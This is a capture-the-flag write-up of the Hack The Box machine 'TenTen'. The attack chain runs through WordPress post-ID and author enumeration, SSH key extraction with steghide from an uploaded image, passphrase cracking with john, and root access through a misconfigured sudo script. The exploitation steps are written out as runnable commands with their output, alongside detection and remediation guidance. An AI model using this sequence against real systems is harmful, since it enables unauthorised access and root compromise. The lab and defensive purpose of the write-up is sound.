Overview
TenTen is a medium-rated Linux box running WordPress 4.7.3 with the WP Job Manager plugin on Ubuntu 16.04. No CVEs are required for the full attack chain. The exploit path relies entirely on information disclosure, steganography, and a misconfigured sudo rule.
WordPress assigns sequential integer IDs to all post types, including custom
types registered by plugins. The WP Job Manager plugin stores job applications
as posts whose slugs correspond to uploaded file names. Enumerating post IDs 1
through 25 reveals a suspicious slug: “HackerAccessGranted”. The corresponding
file at the predictable WordPress upload path is a JPEG image containing an
RSA SSH private key hidden with steghide (empty extraction passphrase). The SSH
key is encrypted with AES-128-CBC; cracking it against rockyou.txt yields the
passphrase “superpassword”. This key belongs to user takis, identified
through WordPress author enumeration.
Privilege escalation is immediate: takis can run /bin/fuckin via sudo
without a password. The script contains $1 $2 $3 $4, which executes its
arguments as shell commands. Running sudo /bin/fuckin bash provides root.
Reconnaissance
nmap -sC -sV -T4 10.129.15.155
| Port | Service | Product / Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 | Ubuntu 16.04 banner |
| 80 | HTTP | Apache 2.4.18 (Ubuntu) | Redirects to tenten.htb |
The HTTP service redirects to tenten.htb, confirming vhost-based routing.
Added to /etc/hosts. The page source identifies WordPress 4.7.3 with the
TwentySeventeen theme and a “Job Portal” tagline. The WP Job Manager plugin
is visible from the /jobs/ listing page.
WordPress user enumeration
WordPress exposes user information through author archive URLs:
curl -sI http://tenten.htb/?author=1 | grep Location
# Location: http://tenten.htb/index.php/author/takis/
Author IDs 2 through 10 return 404. takis is the only user.
Attack Surface Analysis
WP Job Manager post ID enumeration
WordPress stores all content as posts with sequential IDs. The Job Manager
plugin registers a custom post type (jobman_app) for applications. Direct
access to /?p=N reveals the post title regardless of visibility settings.
for i in $(seq 1 25); do
title=$(curl -s "http://tenten.htb/?p=$i" | grep -oP '<title>\K[^<]+')
echo "ID $i: $title"
done
# ID 1: Job Developer
# ID 8: Job Application: Developer
# ID 13: Job Application: HackerAccessGranted
Post ID 13 is a jobman_app post with slug “HackerAccessGranted”. In the Job
Manager workflow, the application slug corresponds to the uploaded CV file
name.
Uploaded file discovery
WordPress stores uploads at wp-content/uploads/YYYY/MM/. Testing common date
paths:
curl -sI http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg
# HTTP/1.1 200 OK
# Content-Type: image/jpeg
# Content-Length: 42016
A 42 KB JPEG is unusually large for a simple image, suggesting embedded data.
Vulnerability Analysis
The attack chain does not rely on any software CVE. It chains three weaknesses:
| Weakness | CWE | Description |
|---|---|---|
| Post ID enumeration | CWE-200 | Sequential IDs expose uploaded file names to unauthenticated users |
| Steganographic credential storage | CWE-312 | SSH private key embedded in a publicly accessible image |
| Insecure sudo configuration | CWE-269 | /bin/fuckin executes arbitrary arguments as root |
The information disclosure is a design flaw in WordPress’s handling of custom
post types, not a bug. WordPress intentionally makes post slugs accessible
via /?p=N. The WP Job Manager plugin does not account for this when storing
application file names as slugs.
Exploitation
Step 1: Steganographic extraction
The image contains a steghide payload extractable with an empty passphrase:
wget http://tenten.htb/wp-content/uploads/2017/04/HackerAccessGranted.jpg
steghide extract -sf HackerAccessGranted.jpg -p ""
# wrote extracted data to "id_rsa".
head -5 id_rsa
# -----BEGIN RSA PRIVATE KEY-----
# Proc-Type: 4,ENCRYPTED
# DEK-Info: AES-128-CBC,7265FC656C429769E4C1EEFC618E660C
The key is encrypted with AES-128-CBC. It requires a passphrase.
Step 2: SSH key cracking
ssh2john id_rsa > id_rsa.hash
john id_rsa.hash --wordlist=/usr/share/wordlists/rockyou.txt
# superpassword (id_rsa)
Step 3: SSH access
chmod 600 id_rsa
ssh -i id_rsa [email protected]
# Enter passphrase for key 'id_rsa': superpassword
takis@tenten:~$ id
# uid=1000(takis) gid=1000(takis) groups=1000(takis),4(adm),
# 24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd)
cat /home/takis/user.txt
# [redacted]
Step 4: Privilege escalation via /bin/fuckin
takis@tenten:~$ sudo -l
# User takis may run the following commands on tenten:
# (ALL : ALL) ALL
# (ALL) NOPASSWD: /bin/fuckin
cat /bin/fuckin
# #!/bin/bash
# $1 $2 $3 $4
The script expands positional parameters directly into the shell execution context. A single argument is sufficient:
sudo /bin/fuckin bash
root@tenten:~# id
# uid=0(root) gid=0(root) groups=0(root)
cat /root/root.txt
# [redacted]
$2, $3, and $4 expand to empty strings, leaving only bash as the
executed command.
Post-Exploitation
uname -a
# Linux tenten 4.4.0-62-generic #83-Ubuntu SMP x86_64 GNU/Linux
cat /etc/lsb-release
# DISTRIB_DESCRIPTION="Ubuntu 16.04.2 LTS"
The system runs Ubuntu 16.04.2 LTS with kernel 4.4.0-62. The takis user is
a member of the lxd group, which provides an alternative privilege escalation
path via LXD container escape (mount host filesystem into a privileged
container). The sudo misconfiguration made this unnecessary.
The WordPress installation uses default database credentials in
wp-config.php. The upload restriction on the Job Manager form correctly
blocks PHP files but accepts images, enabling the steganographic channel.
Defensive Analysis
Detection opportunities
| Phase | MITRE ATT&CK | Detection |
|---|---|---|
| Reconnaissance | T1595.002 | Sequential requests to /?p=1 through /?p=25 |
| Initial access | T1552.004 | SSH login with key-based auth from external IP |
| Privilege escalation | T1548.003 | sudo /bin/fuckin spawning /bin/bash as root |
Network-level: The post ID enumeration produces a burst of sequential HTTP
requests (/?p=1, /?p=2, …) that is easily detectable as automated
scraping. Rate limiting or CAPTCHAs on WordPress post endpoints would slow
this attack.
Host-level: auditd rules on sudo invocations would capture the
/bin/fuckin bash command. Any process monitoring tool would flag bash
spawned as a child of a sudo-executed script. The SSH login with a key that
was not provisioned through normal channels is detectable through SSH log
analysis.
Remediation
| Priority | Action | Effort | Impact |
|---|---|---|---|
| P0 | Remove /bin/fuckin from sudoers; audit all sudo rules | Low | Critical |
| P0 | Rotate the SSH key embedded in the image | Low | Critical |
| P0 | Delete HackerAccessGranted.jpg from uploads | Low | Critical |
| P1 | Disable direct post ID access in WordPress | Medium | High |
| P1 | Remove takis from the lxd group | Low | High |
| P2 | Restrict WordPress author enumeration | Low | Medium |
| P2 | Set upload directory permissions to prevent browsing | Low | Medium |
| P3 | Update WordPress to current stable | Medium | Medium |
The sudo misconfiguration is the most dangerous finding and the easiest to fix. Any script that passes arguments directly to shell execution is equivalent to granting unrestricted root access. The sudoers entry should be removed entirely. If the script serves a legitimate purpose, it must be rewritten to validate its arguments against an allowlist.
Key Takeaways
-
WordPress post IDs are a free enumeration channel. Sequential integer IDs expose every post type’s slug, including custom types from plugins. Plugins that store sensitive information in post slugs (like uploaded file names) are vulnerable to information disclosure. Always test
/?p=1through/?p=50on any WordPress target. -
Steganography on HTB means checking every image. Any image file in a WordPress uploads directory warrants a
steghide extract -p ""test. The empty passphrase case takes two seconds to verify and catches a surprising number of embedded payloads. -
Shell scripts in sudoers are almost always exploitable. A script that executes its arguments as shell commands grants the same access as
ALL=(ALL) NOPASSWD: ALL. The positional parameter expansion ($1 $2 $3 $4) is indistinguishable from direct command execution. Sudo rules should reference compiled binaries with fixed behaviour, never shell scripts that interpret their arguments.